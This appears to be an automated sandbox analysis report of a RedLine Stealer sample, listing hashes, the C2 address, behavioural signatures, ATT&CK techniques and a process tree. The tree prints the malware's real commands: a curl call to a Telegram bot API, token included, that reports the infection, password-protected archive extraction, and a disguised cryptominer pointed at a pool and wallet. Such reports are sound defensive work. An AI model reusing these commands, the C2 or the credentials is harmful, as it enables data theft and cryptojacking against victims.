Analysis

  • max time kernel
    148s
  • max time network
    148s
  • platform
    windows10_x64
  • resource
    win10-en-20211014
  • submitted
    04-12-2021 22:20

General

  • Target

    3426d12d872333a290c333ef0cff53ccd94966fe5826106ebc3d819cf078698b.exe

  • Size

    962KB

  • MD5

    47db0ded618502977919fdfd7444c808

  • SHA1

    37c0272392fc682990ed87b4f8214959a0f75c6b

  • SHA256

    3426d12d872333a290c333ef0cff53ccd94966fe5826106ebc3d819cf078698b

  • SHA512

    ea070da51a0d8e5cb1873893effd49eea25b507628bb780562e140a6ac28ff0732a9c6f04f83484a23e5ea23740e190d213c71e59a272a7ee86df4fdfaf57692

Malware Config

Extracted

Family

redline

C2

185.215.113.57:50723

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 2 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 9 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3426d12d872333a290c333ef0cff53ccd94966fe5826106ebc3d819cf078698b.exe
    "C:\Users\Admin\AppData\Local\Temp\3426d12d872333a290c333ef0cff53ccd94966fe5826106ebc3d819cf078698b.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:4320
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      #cmd
      2⤵
      • Checks processor information in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:8
      • C:\Users\Admin\AppData\Local\Temp\fl.exe
        "C:\Users\Admin\AppData\Local\Temp\fl.exe"
        3⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1504
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c curl "https://api.telegram.org/bot1765686682:AAFKW2CipVCRG2oYuHNFJMKO8RSC06ZylW8/sendMessage?chat_id=-679243704&text=%F0%9F%90%B7%20%D0%A3%20%D0%B2%D0%B0%D1%81%20%D0%BD%D0%BE%D0%B2%D1%8B%D0%B9%20%D0%B2%D0%BE%D1%80%D0%BA%D0%B5%D1%80!%0A%D0%92%D0%B8%D0%B4%D0%B5%D0%BE%D0%BA%D0%B0%D1%80%D1%82%D0%B0%3A%20Microsoft Basic Display Adapter%0A(Windows%20Defender%20has%20been%20turned%20off)"
          4⤵
            PID:2076
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\Microsoft\7z.exe x C:\Users\Admin\AppData\Roaming\Microsoft\RegHost_Temp.zip * -p"8311417383488996" -oC:\Users\Admin\AppData\Roaming\Microsoft\
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:4248
            • C:\Users\Admin\AppData\Roaming\Microsoft\7z.exe
              C:\Users\Admin\AppData\Roaming\Microsoft\7z.exe x C:\Users\Admin\AppData\Roaming\Microsoft\RegHost_Temp.zip * -p"8311417383488996" -oC:\Users\Admin\AppData\Roaming\Microsoft\
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of AdjustPrivilegeToken
              PID:4736
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\Microsoft\7z.exe x C:\Users\Admin\AppData\Roaming\Microsoft\RegData_Temp.zip * -p"9249970918899184" -oC:\Users\Admin\AppData\Roaming\Microsoft\
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:4996
            • C:\Users\Admin\AppData\Roaming\Microsoft\7z.exe
              C:\Users\Admin\AppData\Roaming\Microsoft\7z.exe x C:\Users\Admin\AppData\Roaming\Microsoft\RegData_Temp.zip * -p"9249970918899184" -oC:\Users\Admin\AppData\Roaming\Microsoft\
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of AdjustPrivilegeToken
              PID:1140
          • C:\Windows\bfsvc.exe
            C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 966238e0d3C22B90435D92a6f01665fbf8a92a3A -coin etc -worker EasyMiner_Bot -clKernel 3
            4⤵
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            PID:2988
          • C:\Windows\explorer.exe
            C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 966238e0d3C22B90435D92a6f01665fbf8a92a3A -coin etc -worker EasyMiner_Bot -clKernel 3
            4⤵
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            PID:5044

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Persistence

    Modify Existing Service

    1
    T1031

    Registry Run Keys / Startup Folder

    1
    T1060

    Defense Evasion

    Modify Registry

    2
    T1112

    Disabling Security Tools

    1
    T1089

    Credential Access

    Credentials in Files

    2
    T1081

    Discovery

    Query Registry

    2
    T1012

    System Information Discovery

    2
    T1082

    Collection

    Data from Local System

    2
    T1005

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\fl.exe
      MD5

      3850da296f3c2596aaba5dba02f0b204

      SHA1

      d39cb436d340ad2dc81cfeb2e2aeea21d3a22e2a

      SHA256

      06c45ab0b5138b4244b4c800264966ab94ee4b5e06c13b58332c2cb792ca58aa

      SHA512

      3b47e5e3caaf197e54179456fc61f709771cec77e642b5aab1c7d8b04c1d9161806d39d5866da9d4cfc3a72730aae3d17db640154de7cf771d8d04dfe3d73ee7

    • C:\Users\Admin\AppData\Local\Temp\fl.exe
      MD5

      3850da296f3c2596aaba5dba02f0b204

      SHA1

      d39cb436d340ad2dc81cfeb2e2aeea21d3a22e2a

      SHA256

      06c45ab0b5138b4244b4c800264966ab94ee4b5e06c13b58332c2cb792ca58aa

      SHA512

      3b47e5e3caaf197e54179456fc61f709771cec77e642b5aab1c7d8b04c1d9161806d39d5866da9d4cfc3a72730aae3d17db640154de7cf771d8d04dfe3d73ee7

    • C:\Users\Admin\AppData\Roaming\Microsoft\7z.dll
      MD5

      42336b5fc6be24babfb87699c858fb27

      SHA1

      38ae0db53b22d2e2f52bfdf25b14d79f8feca7aa

      SHA256

      b5508c1dab79939770ed9aa151b6731af075e84c34a316d36fc90388d3a7af07

      SHA512

      f091cb629231811b14ff7d40d8e8ad5e9e0c389f5c56679efb26e33dc189575f062f16f4e4b7e6caea4c268c07955bfb461ca6e86a16778c37d4cb833c8dc3f3

    • C:\Users\Admin\AppData\Roaming\Microsoft\7z.exe
      MD5

      86e8388e83be8909d148518cf7b6e083

      SHA1

      4f7fdcf3abc0169b591e502842be074a5188c2c9

      SHA256

      4120c9e964ea7ed9f267ba921367a50f7b0895febe008a10aa91c0c69b966f17

      SHA512

      2d34d381aacd3ef7482e7580dd39760e09805a6bd8380776a40743018218ae18cc9c09aea2f54568f46f9ab12c9042a675c2956e9bc746ddc5afb22bb26e3c5e

    • C:\Users\Admin\AppData\Roaming\Microsoft\7z.exe
      MD5

      86e8388e83be8909d148518cf7b6e083

      SHA1

      4f7fdcf3abc0169b591e502842be074a5188c2c9

      SHA256

      4120c9e964ea7ed9f267ba921367a50f7b0895febe008a10aa91c0c69b966f17

      SHA512

      2d34d381aacd3ef7482e7580dd39760e09805a6bd8380776a40743018218ae18cc9c09aea2f54568f46f9ab12c9042a675c2956e9bc746ddc5afb22bb26e3c5e

    • C:\Users\Admin\AppData\Roaming\Microsoft\RegData_Temp.exe
      MD5

      67a55e73dc3e285f5ecad2f52e4606aa

      SHA1

      280b8d8083aac33e1b05078bb6706f155cae47c7

      SHA256

      fc0e21a8e33d53a30207d3e0e3dc9079e253fc623cc4835877cbc39ca7a826a3

      SHA512

      e12b564cc866d3d50246c4326e0086daa3086adf8084f69c1f0fa49a091ed9a2c93ea07a2f6cc4eec30dea54492dbf12950e8e3e7f6c26208f7b57860f362efe

    • C:\Users\Admin\AppData\Roaming\Microsoft\RegData_Temp.zip
      MD5

      1543b223f63fda679a94d034d23b27ba

      SHA1

      82eb69d0d096ff966679ce92c4fb2dd5a8dd6f1e

      SHA256

      30868a1cadb90f598ec9d96f93650c90883941522134b2e0a2dfeca958958e34

      SHA512

      270de3749322416e371d5177b974450e5e2fbca3570179d2f4811f1fda55aca4ea82cbd0a37d1b56ee8614be154373054b573da854a818caafb41b3cee502f78

    • C:\Users\Admin\AppData\Roaming\Microsoft\RegHost_Temp.exe
      MD5

      9d99b4d43e4e7a0408c5fe99b4cc4afe

      SHA1

      702436963243f0de2d431ec29b199505a0aa3b90

      SHA256

      c9e36c039bfc370135feabad11840fe457caec3c4914351461f3f9e115194fb3

      SHA512

      44620e76efc6d0cefc1c6f8eca77c0114d41fbf4d6e1f6ff2287286ff57aca1679a0428b35c757afb96fd31d99de8b9e1d956b89636d9c373248e5c5b5b05754

    • C:\Users\Admin\AppData\Roaming\Microsoft\RegHost_Temp.zip
      MD5

      32ab3a6509fe78d666dcafc5be73f2e1

      SHA1

      c16e1c2716b4ae5b9e5bfb9773d810344b539126

      SHA256

      dd2170bbea158a2c2b8c262c2be9c8d91fc3e86efe7f607fce7a9224a389bdec

      SHA512

      c31ee784de253c4f5c36990959d8e6f74b2b0eeecfd265cab2d5295be33f7af056e144d829adcd754c78e06023816cb3f576110314717ee7e50cc0af507f02fe

    • \Users\Admin\AppData\Roaming\Microsoft\7z.dll
      MD5

      42336b5fc6be24babfb87699c858fb27

      SHA1

      38ae0db53b22d2e2f52bfdf25b14d79f8feca7aa

      SHA256

      b5508c1dab79939770ed9aa151b6731af075e84c34a316d36fc90388d3a7af07

      SHA512

      f091cb629231811b14ff7d40d8e8ad5e9e0c389f5c56679efb26e33dc189575f062f16f4e4b7e6caea4c268c07955bfb461ca6e86a16778c37d4cb833c8dc3f3

    • \Users\Admin\AppData\Roaming\Microsoft\7z.dll
      MD5

      42336b5fc6be24babfb87699c858fb27

      SHA1

      38ae0db53b22d2e2f52bfdf25b14d79f8feca7aa

      SHA256

      b5508c1dab79939770ed9aa151b6731af075e84c34a316d36fc90388d3a7af07

      SHA512

      f091cb629231811b14ff7d40d8e8ad5e9e0c389f5c56679efb26e33dc189575f062f16f4e4b7e6caea4c268c07955bfb461ca6e86a16778c37d4cb833c8dc3f3

    • memory/8-131-0x0000000005F50000-0x0000000005F51000-memory.dmp
      Filesize

      4KB

    • memory/8-121-0x000000000041B77E-mapping.dmp
    • memory/8-120-0x0000000000400000-0x0000000000420000-memory.dmp
      Filesize

      128KB

    • memory/8-132-0x0000000006080000-0x0000000006081000-memory.dmp
      Filesize

      4KB

    • memory/8-133-0x0000000006620000-0x0000000006621000-memory.dmp
      Filesize

      4KB

    • memory/8-134-0x0000000006350000-0x0000000006351000-memory.dmp
      Filesize

      4KB

    • memory/8-135-0x0000000006B20000-0x0000000006B21000-memory.dmp
      Filesize

      4KB

    • memory/8-136-0x0000000007220000-0x0000000007221000-memory.dmp
      Filesize

      4KB

    • memory/8-137-0x0000000006D50000-0x0000000006D51000-memory.dmp
      Filesize

      4KB

    • memory/8-130-0x0000000005C60000-0x0000000005C61000-memory.dmp
      Filesize

      4KB

    • memory/8-129-0x0000000005100000-0x0000000005101000-memory.dmp
      Filesize

      4KB

    • memory/8-128-0x0000000005080000-0x0000000005081000-memory.dmp
      Filesize

      4KB

    • memory/8-124-0x00000000055E0000-0x00000000055E1000-memory.dmp
      Filesize

      4KB

    • memory/8-125-0x0000000005020000-0x0000000005021000-memory.dmp
      Filesize

      4KB

    • memory/8-126-0x0000000005150000-0x0000000005151000-memory.dmp
      Filesize

      4KB

    • memory/8-127-0x0000000004FD0000-0x00000000055D6000-memory.dmp
      Filesize

      6.0MB

    • memory/1140-149-0x0000000000000000-mapping.dmp
    • memory/1504-138-0x0000000000000000-mapping.dmp
    • memory/2076-141-0x0000000000000000-mapping.dmp
    • memory/2988-162-0x000001CBB3EF0000-0x000001CBB3EF2000-memory.dmp
      Filesize

      8KB

    • memory/2988-171-0x0000000140000000-0x0000000141660000-memory.dmp
      Filesize

      22.4MB

    • memory/2988-169-0x0000000140000000-0x0000000141660000-memory.dmp
      Filesize

      22.4MB

    • memory/2988-168-0x0000000140000000-0x0000000141660000-memory.dmp
      Filesize

      22.4MB

    • memory/2988-167-0x00007FF6EE8E0000-0x00007FF6EECB1000-memory.dmp
      Filesize

      3.8MB

    • memory/2988-154-0x0000000140000000-0x0000000141660000-memory.dmp
      Filesize

      22.4MB

    • memory/2988-155-0x000000014165D878-mapping.dmp
    • memory/2988-164-0x000001CBB3EF0000-0x000001CBB3EF2000-memory.dmp
      Filesize

      8KB

    • memory/4248-142-0x0000000000000000-mapping.dmp
    • memory/4320-119-0x0000000001600000-0x0000000001601000-memory.dmp
      Filesize

      4KB

    • memory/4320-117-0x0000000001630000-0x0000000001632000-memory.dmp
      Filesize

      8KB

    • memory/4320-115-0x0000000000C20000-0x0000000000C21000-memory.dmp
      Filesize

      4KB

    • memory/4320-118-0x000000001D810000-0x000000001D811000-memory.dmp
      Filesize

      4KB

    • memory/4736-143-0x0000000000000000-mapping.dmp
    • memory/4996-148-0x0000000000000000-mapping.dmp
    • memory/5044-161-0x0000000140000000-0x0000000140E38000-memory.dmp
      Filesize

      14.2MB

    • memory/5044-165-0x00007FF68C250000-0x00007FF68C621000-memory.dmp
      Filesize

      3.8MB

    • memory/5044-163-0x0000000140000000-0x0000000140E38000-memory.dmp
      Filesize

      14.2MB

    • memory/5044-158-0x0000000140E36784-mapping.dmp
    • memory/5044-157-0x0000000140000000-0x0000000140E38000-memory.dmp
      Filesize

      14.2MB

    • memory/5044-166-0x0000000140000000-0x0000000140E38000-memory.dmp
      Filesize

      14.2MB

    • memory/5044-170-0x0000000140000000-0x0000000140E38000-memory.dmp
      Filesize

      14.2MB

    • memory/5044-160-0x0000000000960000-0x0000000000962000-memory.dmp
      Filesize

      8KB

    • memory/5044-172-0x0000000140000000-0x0000000140E38000-memory.dmp
      Filesize

      14.2MB

    • memory/5044-159-0x0000000000960000-0x0000000000962000-memory.dmp
      Filesize

      8KB